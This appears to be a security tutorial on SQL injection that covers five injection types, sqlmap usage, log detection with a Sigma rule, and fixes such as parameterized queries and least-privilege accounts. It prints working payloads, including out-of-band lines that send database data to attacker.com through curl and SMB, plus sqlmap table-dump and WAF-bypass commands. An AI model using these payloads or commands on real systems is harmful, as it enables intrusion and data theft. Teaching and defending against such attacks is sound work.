In January 2025, attackers exploited a SQL injection flaw in PostgreSQL (CVE-2025-1094) to breach BeyondTrust’s Remote Support platform. The intrusion chain ended at the US Treasury Department. The vulnerability? Improper handling of user input in a database query — the same class of bug that Bobby Tables made famous in a webcomic twenty years ago.

SQL injection has been OWASP’s #1 or #3 vulnerability for nearly two decades. It should be solved by now. It isn’t.

TL;DR

  • SQL injection manipulates database queries by injecting SQL syntax through user-controlled input
  • Five main types: classic (in-band), blind boolean, blind time-based, out-of-band, and second-order
  • Still responsible for significant data breaches in 2025-2026 — including infrastructure used by US government agencies
  • The fix is straightforward: parameterized queries everywhere, least privilege database accounts, WAF as secondary layer
  • Modern ORMs reduce risk but don’t eliminate it — raw query escape hatches are still everywhere

Why SQL Injection Still Exists in 2026

The fix for SQL injection has been known since the late 1990s: separate code from data. Use parameterized queries (also called prepared statements), and user input can never be interpreted as SQL syntax.

So why does it keep appearing in breach reports?

Legacy code. Developers under deadline pressure who use string concatenation because it’s faster. ORMs (Object-Relational Mappers) that provide a .raw() escape hatch for complex queries. Third-party plugins that haven’t been updated. Database layers in microservices that nobody owns. Framework defaults that allow dynamic queries.

The vulnerability is simple. The organizational and technical debt behind it is not.


How SQL Injection Works: The Core Concept

A web application typically builds database queries using data provided by the user. A login form might build this query behind the scenes:

-- The application builds this query from user input
SELECT * FROM users WHERE username = 'alice' AND password = 'secret123'

If the application inserts the username directly into the query string without validation, an attacker can submit:

Username: admin'--
Password: anything

The resulting query becomes:

-- The '--' starts a SQL comment, ignoring the password check entirely
SELECT * FROM users WHERE username = 'admin'--' AND password = 'anything'

The password condition is commented out. The query returns the admin user. The attacker is logged in as admin with no valid password.

This is the essence of SQL injection: user input is interpreted as SQL syntax instead of being treated as plain data. Everything else — blind injection, time-based attacks, second-order injection — is a variation on this same theme.


Type 1: Classic (In-Band) SQL Injection

In-band means the attacker uses the same channel (the web response) to both inject the SQL and receive the results. It’s the most direct form — you inject, and the answer comes back immediately in the page.

Error-Based Injection

If the application displays database error messages, an attacker can extract information through those errors:

-- Input designed to force an informative error
' AND EXTRACTVALUE(1, CONCAT(0x7e, (SELECT version())))--

MySQL might respond with an error containing:

XPATH syntax error: '~8.0.32-MySQL Community Server'

The database version is now in the error message. The same technique works to extract table names, column names, and eventually data.

UNION-Based Injection

UNION attacks append a second SELECT statement to the original query, merging its results into the response:

-- First, figure out how many columns the original query returns
' ORDER BY 1-- -- No error
' ORDER BY 2-- -- No error
' ORDER BY 3-- -- Error: column count mismatch -> original query has 2 columns
-- Now UNION in a second query to extract data
' UNION SELECT username, password FROM users--

If the application displays the query results, the usernames and passwords now appear in the page alongside the normal content.

ScenarioWorks When
Error-basedApplication displays database errors
UNION-basedApplication displays query results on the page
BothApplication is misconfigured and exposes database feedback

Type 2: Blind Boolean-Based Injection

Most modern applications don’t display database errors or raw query results. They just show “Login failed” or “User not found.” Blind injection works when you can’t see the data directly — but you can ask true/false questions and infer the answer from the application’s behavior.

-- Ask: is the first character of the admin password greater than 'a'?
' AND (SELECT SUBSTRING(password,1,1) FROM users WHERE username='admin') > 'a'--
-- Application shows: "Welcome back, admin!" (true branch)
-- vs "Invalid credentials" (false branch)

By binary-searching through possible characters, an attacker can reconstruct the entire database one bit at a time. It’s slow — extracting a single password hash might take hundreds of requests — but it works reliably against applications that show no error output whatsoever.

Modern tools like sqlmap automate this completely. What takes a human hours, sqlmap completes in seconds.


Type 3: Time-Based Blind Injection

Sometimes an application’s behavior doesn’t change at all based on true/false conditions — it always returns the same response. Time-based injection introduces a measurable delay when a condition is true:

-- MySQL: if the first character of the DB name is 'a', wait 5 seconds
' AND IF(SUBSTRING(database(),1,1)='a', SLEEP(5), 0)--
-- PostgreSQL equivalent
'; SELECT CASE WHEN (username='admin') THEN pg_sleep(5) ELSE pg_sleep(0) END FROM users--
-- Microsoft SQL Server
'; IF (SELECT COUNT(*) FROM users WHERE username='admin') > 0 WAITFOR DELAY '0:0:5'--

The attacker measures response time. A 5-second delay means the condition was true. No delay means false. Repeat 50 times and you’ve extracted a value character by character.

This technique works even against applications that return identical responses to every request. The only signal is time — and it’s enough.

The PostgreSQL CVE-2025-1094 Connection

The 2025 US Treasury breach exploited a PostgreSQL vulnerability where improperly sanitized input in the psql interactive terminal could be manipulated to achieve arbitrary SQL execution. The attack chain then used that SQL access to escalate privileges within the BeyondTrust infrastructure. Time-based techniques were part of the initial fingerprinting that confirmed the injectable parameter before full exploitation.


Type 4: Out-of-Band (OOB) Injection

Out-of-band injection doesn’t rely on the HTTP response at all. Instead, it makes the database server initiate an outbound connection — DNS lookup, HTTP request, or SMB connection — to an attacker-controlled server, carrying data in the request itself.

-- MySQL: trigger a DNS lookup containing the current database name
' UNION SELECT LOAD_FILE(CONCAT('\\\\',(SELECT database()),'.attacker.com\\file'))--
-- Microsoft SQL Server: use xp_dirtree to trigger outbound SMB
'; EXEC master..xp_dirtree '\\attacker.com\share'--
-- PostgreSQL: use COPY to send data via external connection
'; COPY (SELECT current_user) TO PROGRAM 'curl http://attacker.com/?u='||current_user||''--

The attacker runs a DNS server or HTTP listener at their domain. When the database server resolves the hostname or hits the URL, the data arrives as part of the request — completely bypassing any restriction on HTTP responses.

OOB injection is particularly useful when:

  • The application returns no useful output (blind scenario)
  • Time-based delays are filtered or unreliable
  • A WAF blocks response manipulation but not outbound connections
  • The database server has network egress (common misconfiguration)

Type 5: Second-Order (Stored) Injection

Second-order injection is the most dangerous type from a detection standpoint, because the injection doesn’t execute at the point of input — it executes later, in a completely different context.

The attack flow:

  1. Attacker registers a username: admin'--
  2. Application stores it safely (sanitized for the INSERT query)
  3. Later, the application retrieves that username to build a different query — an UPDATE, a password reset, an admin lookup — without re-sanitizing
  4. The stored payload executes in the new context
-- Step 1: Registration looks safe
INSERT INTO users (username) VALUES ('admin''--') -- Escaped, stored as: admin'--
-- Step 2: Password change later uses the stored value unsanitized
UPDATE users SET password='newpass' WHERE username='admin'--'
-- The '--' comments out any further conditions
-- This updates the 'admin' account, not the attacker's account

Second-order injection bypasses input validation entirely because the malicious data enters through a “safe” path and detonates elsewhere. Automated scanners often miss it. Code reviews miss it. It’s found most reliably through manual testing and code auditing.


Practical Exploitation: Using sqlmap

sqlmap is the standard tool for automated SQL injection detection and exploitation. It handles all five injection types, fingerprints the database engine, and can extract data automatically.

Terminal window
# Basic scan — test all parameters in a URL
sqlmap -u "https://target.com/search?q=test"
# Test a POST request (capture the request with Burp, save to req.txt)
sqlmap -r req.txt
# Specify the injection technique (B=boolean, T=time, U=UNION, E=error, S=stacked)
sqlmap -u "https://target.com/item?id=1" --technique=BEUST
# Fingerprint the database without extracting data
sqlmap -u "https://target.com/item?id=1" --banner --current-user --current-db
# Extract all tables from a specific database
sqlmap -u "https://target.com/item?id=1" -D target_db --tables
# Dump a specific table
sqlmap -u "https://target.com/item?id=1" -D target_db -T users --dump
# Bypass basic WAF filtering
sqlmap -u "https://target.com/item?id=1" --tamper=space2comment,randomcase

sqlmap’s --tamper scripts modify the injection payloads to bypass WAF rules. Over 50 tamper scripts exist for common WAF products — randomizing case, encoding characters, inserting comments, splitting keywords.

Manual Testing Checklist

Before reaching for sqlmap, a quick manual check reveals whether a parameter is injectable:

# Step 1: Break the query with a single quote
https://target.com/item?id=1'
# Step 2: Fix the syntax error with comments
https://target.com/item?id=1'--
https://target.com/item?id=1'/*
# Step 3: Boolean test
https://target.com/item?id=1 AND 1=1 (should return normal)
https://target.com/item?id=1 AND 1=2 (should return empty/different)
# Step 4: Time-based confirmation
https://target.com/item?id=1; SELECT SLEEP(5)--

If the boolean tests return different results, the parameter is injectable in-band. If the SLEEP causes a 5-second delay, time-based injection works.


Detection: What SQL Injection Looks Like in Logs

Web Application Firewall and Access Logs

SQL injection leaves distinctive patterns in access logs:

# Classic injection attempts in URL parameters
/search?q=1'%20OR%20'1'='1
/login?user=admin'--&pass=x
/item?id=1%20UNION%20SELECT%201,2,3--
# Time-based attempts (look for requests with unusually high response times)
/api/user?id=1;SELECT+SLEEP(5)--
# sqlmap's default user agent (often not changed by attackers)
User-Agent: sqlmap/1.7.x

A Sigma rule targeting these patterns:

title: SQL Injection Attempt in HTTP Request
detection:
selection:
c-uri|contains:
- "' OR '"
- "UNION SELECT"
- "' AND 1=1"
- "SLEEP("
- "WAITFOR DELAY"
- "pg_sleep"
- "' --"
- "1=1--"
condition: selection
level: high
tags:
- attack.initial_access
- attack.t1190

Anomaly-Based Detection

Pattern matching catches known payloads but misses obfuscated ones. Anomaly detection catches behavior that’s abnormal regardless of payload:

  • Parameter length anomalies: A username field that normally contains 5-20 characters suddenly receiving 500-character input
  • Response time anomalies: Database queries that normally complete in 50ms suddenly taking 5+ seconds (time-based injection)
  • Error rate spikes: A sudden increase in 500 errors from database query failures
  • Repeated similar requests: sqlmap’s automated probing generates dozens of near-identical requests in rapid succession

Database-Level Logging

Enable query logging on the database itself for highest-fidelity detection:

-- MySQL: enable general query log
SET GLOBAL general_log = 'ON';
SET GLOBAL general_log_file = '/var/log/mysql/general.log';
-- PostgreSQL: log all statements
ALTER SYSTEM SET log_statement = 'all';
SELECT pg_reload_conf();
-- Monitor for UNION, SLEEP, information_schema queries from app accounts

App service accounts should never query information_schema, execute SLEEP(), or run UNION selects. These are red flags in database logs regardless of what the WAF saw.


Defense: How to Actually Fix It

Parameterized Queries — The Only Real Fix

Parameterized queries (prepared statements) separate SQL structure from data. User input is passed as a parameter and the database driver handles it as pure data — it can never be interpreted as SQL syntax.

# VULNERABLE: string concatenation
username = request.form['username']
query = f"SELECT * FROM users WHERE username = '{username}'"
cursor.execute(query)
# SAFE: parameterized query
username = request.form['username']
query = "SELECT * FROM users WHERE username = %s"
cursor.execute(query, (username,)) # username is data, never SQL
// VULNERABLE: template literal in Node.js
const query = `SELECT * FROM users WHERE id = ${req.params.id}`;
// SAFE: parameterized with node-postgres
const query = 'SELECT * FROM users WHERE id = $1';
const result = await pool.query(query, [req.params.id]);
// VULNERABLE: string concatenation in Java
String query = "SELECT * FROM users WHERE id = " + userId;
// SAFE: PreparedStatement
PreparedStatement stmt = conn.prepareStatement("SELECT * FROM users WHERE id = ?");
stmt.setInt(1, userId);

Parameterized queries work across all database types and all languages. There are no exceptions or edge cases that break them. They are the correct fix.

ORM Pitfalls — False Security

ORMs like Django ORM, SQLAlchemy, Hibernate, and Prisma use parameterized queries by default. But every ORM provides a raw query escape hatch, and that’s where injection re-enters:

# Django ORM — safe by default
User.objects.filter(username=username)
# Django ORM — VULNERABLE raw query
User.objects.raw(f"SELECT * FROM auth_user WHERE username = '{username}'")
# SQLAlchemy — VULNERABLE text() without bindparams
db.execute(text(f"SELECT * FROM users WHERE name = '{name}'"))
# SQLAlchemy — safe
db.execute(text("SELECT * FROM users WHERE name = :name"), {"name": name})

Audit every .raw(), text(), query() with string formatting, or direct cursor use in your codebase. These are the injection points in modern applications.

Principle of Least Privilege

A SQL injection vulnerability’s blast radius depends entirely on what the database account can do. If the application’s database account only has SELECT on the tables it needs, an injection can read data but can’t drop tables, execute OS commands, or write files.

-- Create a restricted application user
CREATE USER 'app_user'@'localhost' IDENTIFIED BY 'strong_password';
-- Grant only what's necessary
GRANT SELECT, INSERT, UPDATE ON app_db.users TO 'app_user'@'localhost';
GRANT SELECT ON app_db.products TO 'app_user'@'localhost';
-- Never grant these to application accounts
-- GRANT ALL PRIVILEGES ...
-- GRANT FILE ... -- read/write OS files
-- GRANT SUPER ... -- admin operations
-- GRANT EXECUTE ON sys.* -- dangerous stored procedures

A properly restricted database account converts a critical SQL injection into a medium-severity data exposure — bad, but not catastrophic.

WAF as a Secondary Layer

A Web Application Firewall (WAF) catches known SQL injection signatures before they reach the application. It’s a useful secondary defense but should never be the primary one — attackers regularly bypass WAFs with encoding, obfuscation, and sqlmap tamper scripts.

Common WAF bypass techniques:

BypassExample
Comment insertionUN/**/ION SE/**/LECT
Case randomizationuNiOn SeLeCt
URL encoding%55NION %53ELECT
Double encoding%2555NION
Whitespace alternativesUNION%09SELECT (tab)

Use a WAF, but fix the underlying code. Don’t rely on the WAF to compensate for parameterization you skipped.


What You Can Do Today

If you’re a developer:

  • Run a search across your codebase for f"SELECT, "SELECT " +, and .raw( — these are string-concatenated queries. Replace every one with parameterized equivalents.
  • Review your ORM’s documentation for “raw queries” and audit every usage.
  • Check your database account’s privileges. If the app account has ALL PRIVILEGES, scope it down.

If you’re a pentester:

  • Add ', ", and 1=1-- to every parameter in scope. Check for error messages, behavioral differences, and response time anomalies.
  • Run sqlmap with --level=3 --risk=2 for thorough coverage including HTTP headers and cookies.
  • Don’t forget second-order injection — test stored values (usernames, profile fields) by checking how they’re used in other functions.

If you’re on the blue team:

  • Enable slow query logging on your databases and alert on queries exceeding 3-5 seconds — this catches time-based injection.
  • Set up a Sigma rule or WAF signature for UNION SELECT, SLEEP(, WAITFOR DELAY, and information_schema appearing in request parameters.
  • Review database account privileges. Most application accounts are over-privileged.

For everyone:

  • Run your application through OWASP ZAP or sqlmap against a staging environment. You might be surprised what turns up.

SQL injection is old, well-understood, and completely preventable. The only reason it still appears in 2026 breach reports is that the fix requires going back through existing code, and existing code is the part that nobody has time for — until it shows up in a breach notification.



Sources